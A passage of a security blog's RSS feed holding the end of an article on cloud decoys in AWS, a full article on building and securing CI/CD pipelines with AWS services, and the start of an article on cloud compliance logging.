<li data-leveltext="" data-font="Symbol" data-listid="5" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:360,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="4" data-aria-level="1"><b><span data-contrast="none">C</span></b><span data-contrast="none">rédibilité  (credibility): 3/4</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;469777462&quot;:[360],&quot;469777927&quot;:[0],&quot;469777928&quot;:[8]}"> </span></li>
</ul>
<p><span data-contrast="none">« </span><span data-contrast="none">The credibility of the decoy may be called into question by the resources available to it and potential limitations, such as an Inline Policy that restricts permissions and possible actions. It&#8217;s important to take these factors into account, as they can create doubts in attackers and compromise the decoy&#8217;s effectiveness. It is therefore crucial to put in place measures that make the decoy as realistic and convincing as possible, ensuring that it has access to the relevant resources and authorizations to create a credible scenario. </span><span data-contrast="none">»</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:360,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:360,&quot;469777462&quot;:[360],&quot;469777927&quot;:[0],&quot;469777928&quot;:[8]}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:360,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:360,&quot;469777462&quot;:[360],&quot;469777927&quot;:[0],&quot;469777928&quot;:[8]}"> </span></p>
<ul>
<li data-leveltext="" data-font="Symbol" data-listid="5" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:360,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="5" data-aria-level="1"><b><span data-contrast="none">S</span></b><span data-contrast="none">calabilité (scalability) : 3/4</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;469777462&quot;:[360],&quot;469777927&quot;:[0],&quot;469777928&quot;:[8]}"> </span></li>
</ul>
<p><span data-contrast="none">« </span><span data-contrast="none">Depending on the size of an infrastructure, it may be possible to implement fluid deployment and maintenance of components, thanks to the use of automated scripts empowered to perform operations on resources. However, careful monitoring of all resources is essential to consolidate security in the face of possible attacks, and to ensure rapid reaction to defend an extended perimeter.</span><span data-contrast="none">»</span><span data-contrast="none"> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:360,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:360,&quot;469777462&quot;:[360],&quot;469777927&quot;:[0],&quot;469777928&quot;:[8]}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559738&quot;:240,&quot;335559739&quot;:360,&quot;335559740&quot;:259,&quot;335559991&quot;:567}"> </span></p>
<p><span data-contrast="none">In conclusion, implementing such a Deceptive Security scenario in the Cloud, offers an approach to improving its overall security. It helps restrict an attacker&#8217;s ability to explore and propagate across the network</span><span data-contrast="none">,</span><span data-contrast="none"> by presenting deceptive paths, delaying their progress and enabling faster detection and response. Decoys, which resemble attractive targets, divert attackers&#8217; attention and resources away from real assets, increasing the chances of early detection. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">In addition, alert mechanisms play a crucial role in providing rapid information on potential intrusions to security teams, enabling rapid incident response and limiting the impact of attacks. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">Combining these </span><span data-contrast="none">defence</span> <span data-contrast="none">strategies strengthens the overall security posture of Cloud environments, improves their resilience in the face of constantly evolving cyber threats, and guarantees the integrity and confidentiality of sensitive data.  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">By using these deceptive security measures, companies can strengthen their </span><span data-contrast="none">defence</span> <span data-contrast="none">against cyberattacks. However, it is important to note that Deceptive Security does not replace existing standard cybersecurity solutions, and that protection against cyberattacks requires the use of complementary security techniques for optimal defense.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p> </p>
<h3 aria-level="1"><span data-contrast="none">ANNEX &#8211; </span><span data-contrast="none">AWS Services </span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:567,&quot;335559738&quot;:240,&quot;335559739&quot;:360,&quot;335559740&quot;:259,&quot;335559991&quot;:567}"> </span></h3>
<p><i><span data-contrast="none">Definitions from source : AWS documentation → </span></i><i><span data-contrast="none">docs.aws.amazon.com</span></i><i><span data-contrast="none">.</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">SCP &#8211; Service control policies : Service control policies are a type of policy that enable central control of authorizations. This ensures that broad guidelines are followed for all AWS accounts in the organization. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none"> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">EC2 &#8211; Elastic Compute Cloud : AWS EC2 allows you to rent servers (EC2 instances) to best meet your workload needs. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none"> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">STS &#8211; Security Token Service : AWS STS enables you to request temporary security credentials for AWS resources. This makes it possible to grant temporary access to resources via API calls, the AWS console or the AWS CLI (Console Line Interface). </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">Please note: Each STS token has a lifecycle, defined when it is created, of between 15 minutes and 36 hours. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none"> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">CloudTrail : AWS CloudTrail is a service that records the actions performed by an AWS user, role or service.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">Fonction Lambda : The Lambda function is a service for executing code.</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">SNS &#8211; Simple Notification Service</span><span data-contrast="none"> : </span><span data-contrast="none">Amazon SNS is a web service for managing the sending of messages (SMS, e-mail, HTTP.S, etc.).</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><i><span data-contrast="none">Thanks to </span></i><i><span data-contrast="none"> Charles BULABULA</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span><i><span data-contrast="none"> for his contribution to this article.</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/02/deceptive-security-the-solution-for-effective-detection-in-the-cloud-deceptive-use-example-in-aws-cloud/">Deceptive Security: the solution for effective detection in the cloud? – Deceptive use example in AWS cloud </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2024/02/deceptive-security-the-solution-for-effective-detection-in-the-cloud-deceptive-use-example-in-aws-cloud/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>CI/CD in AWS: The Solution to All Your Problems? What You Need to Know.</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/11/ci-cd-in-aws-the-solution-to-all-your-problems-what-you-need-to-know/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/11/ci-cd-in-aws-the-solution-to-all-your-problems-what-you-need-to-know/#respond</comments>
		
		<dc:creator><![CDATA[Christophe Berenguer]]></dc:creator>
		<pubDate>Fri, 03 Nov 2023 14:46:35 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Focus]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[CICD]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=21758</guid>

					<description><![CDATA[<p>Integrating security directly into the configuration of CI/CD pipelines, especially through the practice of DevSecOps, enables the development of secure applications while increasing delivery frequency. This relieves pressure on security teams, which can often be a limiting factor in the...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/11/ci-cd-in-aws-the-solution-to-all-your-problems-what-you-need-to-know/">CI/CD in AWS: The Solution to All Your Problems? What You Need to Know.</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Integrating security directly into the configuration of CI/CD pipelines, especially through the practice of DevSecOps, enables the development of secure applications while increasing delivery frequency. This relieves pressure on security teams, which can often be a limiting factor in the production release cycle.</p>
<p style="text-align: justify;">However, setting up a relevant and effective CI/CD pipeline for each project context can be complex. Technologies vary, security requirements can differ, and target environments are not always identical. Given the ambitions and challenges posed by creating a unified CI/CD pipeline, it may not always be prudent to leverage IaaS or on-premise services, which also require infrastructure team investments. Cloud (PaaS) solutions offer a good middle ground between customizing the CI/CD pipeline and ease of implementation. Cloud solutions also allow for on-demand resource provisioning to better adapt to business needs.</p>
<p style="text-align: justify;">There are numerous cloud-based CI/CD solutions that can potentially meet both security and efficiency requirements for the development pipeline. In this article, we aim to present our perspective on Amazon Web Services (AWS) solutions, which remain one of the market leaders.</p>
<h3 style="text-align: justify;"><strong>What can AWS CI/CD services offer in terms of features and added value?</strong></h3>
<p style="text-align: justify;">If you are not familiar with AWS CodeCommit, CodePipeline, CodeBuild, or CodeDeploy, we offer an introduction to better understand the workings of the AWS DevSecOps environment. To provide an overview of the tools offered by AWS, we describe the functionality of these different services in the following paragraphs.</p>
<p> </p>
<h2 style="text-align: justify;">Let&#8217;s start from the beginning: From DevOps to DevSecOps</h2>
<p style="text-align: justify;">DevOps is a key element in the software development lifecycle of companies. DevOps relies on CI/CD tooling and is  pipeline on which the evolution of source code into a production-ready application depends. CI/CD accelerates the phases of build, test, and deployment to increase the delivery frequency of applications. This acceleration is made possible by automating many tasks within a CI/CD pipeline, which is a series of actions leading to production deployment.</p>
<p style="text-align: justify;">DevSecOps adds security aspects to DevOps and relies on certain internal tools within the CI/CD pipeline. These tools integrate at every level of the CI/CD pipeline to scan the source code (SAST – Static Application Security Testing), dependencies (SCA – Software Composition Analysis), and more. The goal, as discussed in our <a href="https://www.riskinsight-wavestone.com/en/2022/09/security-in-agility-and-devsecops-linked-fates/">previous article</a>, is to integrate security as early as possible. The CI/CD pipeline is a significant component in ensuring the security of developments. One could even say that the CI/CD pipeline plays as important a role in secure development as Identity and Access Management (IAM) does in identity and access management.</p>
<p> </p>
<h2 style="text-align: justify;">CI/CD in AWS</h2>
<p style="text-align: justify;">AWS offers a multitude of services that not only provide classic infrastructure services but also allow the establishment of continuous development pipelines (from source code to deployment), while ensuring proper security testing.</p>
<p> </p>
<figure id="attachment_21745" aria-describedby="caption-attachment-21745" style="width: 554px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-21745 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image1.png" alt="" width="554" height="388" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image1.png 554w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image1-273x191.png 273w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image1-56x39.png 56w" sizes="auto, (max-width: 554px) 100vw, 554px" /><figcaption id="caption-attachment-21745" class="wp-caption-text"><em>Example of a CI/CD pipeline primarily hosted on AWS</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">The orchestrator CodePipeline organises and links the different stages of the CI/CD pipeline. This tool coordinates the progression within the CI/CD pipeline based on the results of other tools and services. If one of the tools returns a failure code, the pipeline can be blocked if necessary. The reasons for a pipeline failure can vary, such as insufficient code security score or tool deployment failure.</p>
<p> </p>
<h3 style="text-align: justify;">Code Management: SCM and AWS CodeCommit</h3>
<p style="text-align: justify;">Code version control systems (or SCM: Source Code Manager) are essential tools for collaborative code editing during  development and serve as the starting point for continuous integration pipelines. Currently, only three SCMs offer native integration: GitHub, BitBucket, and AWS CodeCommit. For any other integration with a non-natively supported SCM, you can create a serverless Lambda function-based routine and a webhook (HTTP notification) to download source code to AWS S3 with each developer commit.</p>
<p style="text-align: justify;">AWS CodeCommit is the SCM service offered by AWS. It&#8217;s a code hosting service that supports version control and collaboration, similar to GitHub or GitLab, with Git commands. The advantage of AWS CodeCommit is its full integration with the AWS environment, making it easier to interconnect with other AWS services. Using AWS CodeCommit also allows for the use of AWS Identity and Access Management (IAM), avoiding the duplication of identity repositories and role management within a third-party SCM. All of this makes AWS CodeCommit a suitable solution when used within an entirely AWS environment due to its close integration with other AWS services. However, AWS CodeCommit offers relatively limited features compared to GitHub such as user experience and interface, and has a smaller community than GitHub or GitLab. If the CI/CD pipeline includes multiple solutions external to AWS, other solutions such as GitHub or GitLab will likely provide more flexibility.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Build Phase: AWS CodeBuild</h3>
<p style="text-align: justify;">Once development is complete, AWS CodeBuild takes over. This tool can be used for both compiling/building an application and running tests via CI runners. The service executes the instructions provided in an input file called buildspec.yml. It is a versatile tool, similar to classic CI tools like GitLab CI or GitHub Actions.</p>
<p> </p>
<figure id="attachment_21747" aria-describedby="caption-attachment-21747" style="width: 877px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-21747 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image2.png" alt="" width="877" height="526" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image2.png 877w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image2-318x191.png 318w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image2-65x39.png 65w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image2-768x461.png 768w" sizes="auto, (max-width: 877px) 100vw, 877px" /><figcaption id="caption-attachment-21747" class="wp-caption-text"><em>Example of BitBucket Integration in AWS CodeBuild*</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">AWS CodeBuild also allows for running security tests (SAST, SCA, etc.) by installing and using applications on its runners. Take SonarQube, for example, a code quality tool with a SAST module for scanning source code to identify vulnerabilities. The execution works as follows:</p>
<p> </p>
<figure id="attachment_21749" aria-describedby="caption-attachment-21749" style="width: 605px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-21749 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image3.png" alt="" width="605" height="363" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image3.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image3-318x191.png 318w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image3-65x39.png 65w" sizes="auto, (max-width: 605px) 100vw, 605px" /><figcaption id="caption-attachment-21749" class="wp-caption-text"><em>Launching a SonarQube code scan with AWS CodeBuild</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<ol style="text-align: justify;">
<li>When the source code is modified, a webhook notification (HTTP POST request from the SCM) is sent to AWS (in practice, this event is managed by AWS EventBridge or AWS CodePipeline), triggering the test.</li>
<li>The source code is duplicated on the CI runner, which scans it and produces a report.</li>
<li>This report is then sent to a SonarQube server (on-premise or on an EC2).</li>
<li>After analysis, SonarQube produces a final report indicating the code&#8217;s security level.</li>
<li>These results are sent to CodeBuild, which interprets, based on the conditions in the buildspec.yml file, whether the test was successful or not.</li>
</ol>
<p style="text-align: justify;">Again, the key advantage of CodeBuild is its integration with the environment, allowing close collaboration with other AWS services. For example, it&#8217;s easier to assign specific roles to CodeBuild projects, use AWS Secrets Manager (for secret management), or enable deployment with AWS CodeDeploy.</p>
<p> </p>
<h3 style="text-align: justify;">Deployment: AWS CodeDeploy</h3>
<p style="text-align: justify;">The deployment of an application marks the end of its development cycle. Within AWS, deployment is achieved through AWS CodeDeploy. Its role is to retrieve the artifacts and necessary configuration files from dedicated S3 buckets and deploy them on the chosen server (EC2, etc.). AWS CodeDeploy differs from AWS Elastic Beanstalk, which deploys an application solely based on its code (usually not supporting compiled languages like C/C++).</p>
<p style="text-align: justify;">CodeDeploy operates by deploying code to any type of server, whether hosted by AWS or not. Its operation is simple: an agent (CodeDeploy agent) is installed on the target server. This agent is responsible for downloading the artifacts, installing them, and launching the application.</p>
<p> </p>
<figure id="attachment_21751" aria-describedby="caption-attachment-21751" style="width: 605px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-21751 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image4.png" alt="" width="605" height="347" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image4.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image4-333x191.png 333w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image4-68x39.png 68w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/Image4-120x70.png 120w" sizes="auto, (max-width: 605px) 100vw, 605px" /><figcaption id="caption-attachment-21751" class="wp-caption-text"><em>Deployment of an application on an EC2 instance using AWS CodeDeploy and GitHub (no artifacts are downloaded from AWS S3 in this example)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">It is necessary to define in advance the instances involved in the deployment and assign them an arbitrary AWS tag for identification. All these instances then constitute a &#8220;deployment group.&#8221; When deployment is initiated, CodeDeploy selects the relevant instances and publishes its instructions. However, communication is initiated by the target instance; the CodeDeploy agent contacts the CodeDeploy service by polling for new instructions (polling mode). This communication method avoids opening ports, enhancing the security posture of the instance.</p>
<p style="text-align: justify;">AWS CodeDeploy is an effective tool for deploying code to any type of infrastructure. However, it requires the installation of an agent managed by AWS on the instance where the code is deployed, which may not always be desirable depending on the client&#8217;s context. Polling by EC2 instances may impact the performance of a critical application or be detected as malicious by Endpoint Detection and Response (EDR) or Network Detection &amp; Response (NDR) systems.</p>
<p> </p>
<h2 style="text-align: justify;">Securing the AWS CI/CD Pipeline</h2>
<p style="text-align: justify;">Given the critical role of the CI/CD pipeline in application development, it is essential to secure this infrastructure, including tooling, integration, and pipeline configuration. Below, we summarise some areas to consider when implementing an AWS CI/CD pipeline, which can be managed through the creation of AWS policies to alert or enforce their application.</p>
<p> </p>
<h3 style="text-align: justify;">Flow Management</h3>
<p style="text-align: justify;">By default, flows to AWS managed services (CodeBuild, CodeDeploy, etc.) transit over the internet before returning to the client instance of the resource. To avoid sending all flows to AWS services over the internet, we recommend setting up VPC endpoints. These network access points allow instances within a VPC to contact AWS services as if they were deployed within the VPC.</p>
<p> </p>
<h3 style="text-align: justify;">Secret Management</h3>
<p style="text-align: justify;">Secrets required to access services or other APIs should not be stored in plaintext in SCMs or pipeline configuration files. To avoid any leakage of confidential information during legitimate or unauthorised access to these directories, we recommend implementing an AWS Secret Manager to store secrets (e.g., SonarQube API keys) and distribute them to services only when necessary. Retrieving a secret is done through an API call to this vault, with privilege verification.</p>
<p> </p>
<h3 style="text-align: justify;">Supervision/Monitoring</h3>
<p style="text-align: justify;">Like any infrastructure, the CI/CD pipeline requires monitoring. Native AWS solutions for service monitoring include AWS CloudWatch for log collection, AWS EventBridge for creating alerts, and AWS SNS/SQS for sending notifications to predefined groups (email, SMS, push notifications, etc.). Monitoring the CI/CD pipeline allows for alerting against potentially dangerous production releases, for example, if a project attempts to bypass implemented security policies.</p>
<p> </p>
<h3 style="text-align: justify;">Identity and Access Management</h3>
<p style="text-align: justify;">Privilege management within AWS is based on Role-Based Access Control (RBAC) whereby each user action requires specific permissions. For example, if a user wants access to an S3 bucket, they must first obtain read permission associated with the corresponding S3 resource. It is essential to adhere to the principle of least privilege, which involves assigning clients (users and services) only the rights they need. AWS permissions allow for complete configuration of client access to each service/resource. However, the granularity of rights can be cumbersome to configure in a large-scale CI/CD infrastructure. AWS offers predefined roles that allow for quick application of sets of permissions. Still, these predefined roles often do not adhere to the principle of least privilege. Therefore, it is important to create roles that apply the principle of least privilege without delving into micromanagement of rights.</p>
<p> </p>
<h2 style="text-align: justify;">Our Beliefs on AWS CI/CD</h2>
<p style="text-align: justify;">The CI/CD solutions available in AWS cloud are interesting and natively integrated with other AWS services. Native integration is particularly useful in the case of a pipeline hosted entirely by AWS. When most of a company&#8217;s infrastructure is already migrated to AWS, you can take advantage of interconnections between services and powerful access management and monitoring solutions with minimal additional configuration. However, for a simple and isolated use case, AWS CodeCommit or AWS CodeBuild might not be the preferred choice. Solutions such as GitHub and GitLab offer more comprehensive solutions, better integration with other vendors, and a more user-friendly interface. Similarly, regarding security, AWS does not offer native CI/CD security services for code validation (SAST, DAST, etc.). AWS does not provide native integration, but third-party services can still be integrated relatively easily.</p>
<p> </p>
<p style="text-align: justify;"><em>*Example of BitBucket Integration in AWS CodeBuild &#8211; </em><em><a href="https://docs.aws.amazon.com/codebuild/latest/userguide/sample-bitbucket-pull-request.html">Source</a></em></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/11/ci-cd-in-aws-the-solution-to-all-your-problems-what-you-need-to-know/">CI/CD in AWS: The Solution to All Your Problems? What You Need to Know.</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/11/ci-cd-in-aws-the-solution-to-all-your-problems-what-you-need-to-know/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Compliance in the Cloud, a new Paradigm</title>
		<link>https://www.riskinsight-wavestone.com/en/2022/10/compliance-in-the-cloud-a-new-paradigm/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2022/10/compliance-in-the-cloud-a-new-paradigm/#respond</comments>
		
		<dc:creator><![CDATA[Etienne Lafore]]></dc:creator>
		<pubDate>Fri, 07 Oct 2022 08:00:00 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[CSPM]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18873</guid>

					<description><![CDATA[<p>Feedback on AWS and Azure Misconfigurations in cloud environments are still a source of major incidents and will keep on reoccurring endlessly. With the news continuously providing new examples:  leakage of 1 billion citizens&#8217; data linked to a key leak,...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/10/compliance-in-the-cloud-a-new-paradigm/">Compliance in the Cloud, a new Paradigm</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 style="text-align: justify;">Feedback on AWS and Azure</h1>
<p style="text-align: justify;">Misconfigurations in cloud environments are still a source of major incidents and will keep on reoccurring endlessly. With the news continuously providing new examples:  <a href="https://twitter.com/cz_binance/status/1543905416748359680">leakage of 1 billion citizens&#8217; data linked to a key leak</a>, <a href="https://lambdascientifica.com/new-office-365-phishing-campaign-used-stolen-kaspersky-amazon-ses-token-to-trick-victims/">phishing campaign using a Kaspersky AWS key</a>, <a href="https://gizmodo.com/iranian-chat-app-gets-its-data-wiped-out-in-a-cyberatta-1846181651">misconfiguration of a NoSQL database</a>, <a href="https://www.darkreading.com/application-security/cloud-misconfig-exposes-3tb-sensitive-airport-data-amazon-s3-bucket">3TB of sensitive airport data&#8230;</a></p>
<p style="text-align: justify;">The objective of this article is to illustrate how to anticipate a scenario by implementing a Control Tower, or a tool for continuous supervision of the configuration of Cloud resources.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">To begin with, a little theory about logs</h2>
<p style="text-align: justify;">Cloud logs can be divided into 3 categories:</p>
<ul style="text-align: justify;">
<li><strong>System logs</strong>: They are generated by the OS and applications hosted in IaaS/CaaS mode. The stakes are not different from a classic on premise IS, but only the architecture of logs collection can be adapted.</li>
</ul>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18841 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1.png" alt="" width="1187" height="333" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1.png 1187w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1-437x123.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1-768x215.png 768w" sizes="auto, (max-width: 1187px) 100vw, 1187px" /></p>
<ul style="text-align: justify;">
<li><strong>Security infrastructure admin logs</strong>: Includes the logs of the security appliances, but also of the PaaS security services used by the customer and the logs of the network flows. For the appliances, there are no new changes here either, it is the same component already in use and well known. However, for security PaaS services and network logs, it is necessary to implement a specific integration and adapt the detection scenarios.</li>
<li><strong>Cloud Infra API logs</strong>: During each API call to create, modify or delete a resource, the Cloud Service Provider will generate a log.</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">These logs are accessible in dedicated managed services such as AWS CloudTrail, AWS config or Azure activity log:</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18843 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2.png" alt="" width="475" height="60" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2.png 475w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2-437x55.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2-71x9.png 71w" sizes="auto, (max-width: 475px) 100vw, 475px" /></p>
<p style="text-align: justify;">The time taken to make the logs available will depend on the SLA of the CSP, but they are generally available within 15 minutes after the operation has been carried out.</p>
<p style="text-align: justify;">Exploiting these logs will enable you to move from a manual and static compliance to an automatic and continuous compliance:</p>
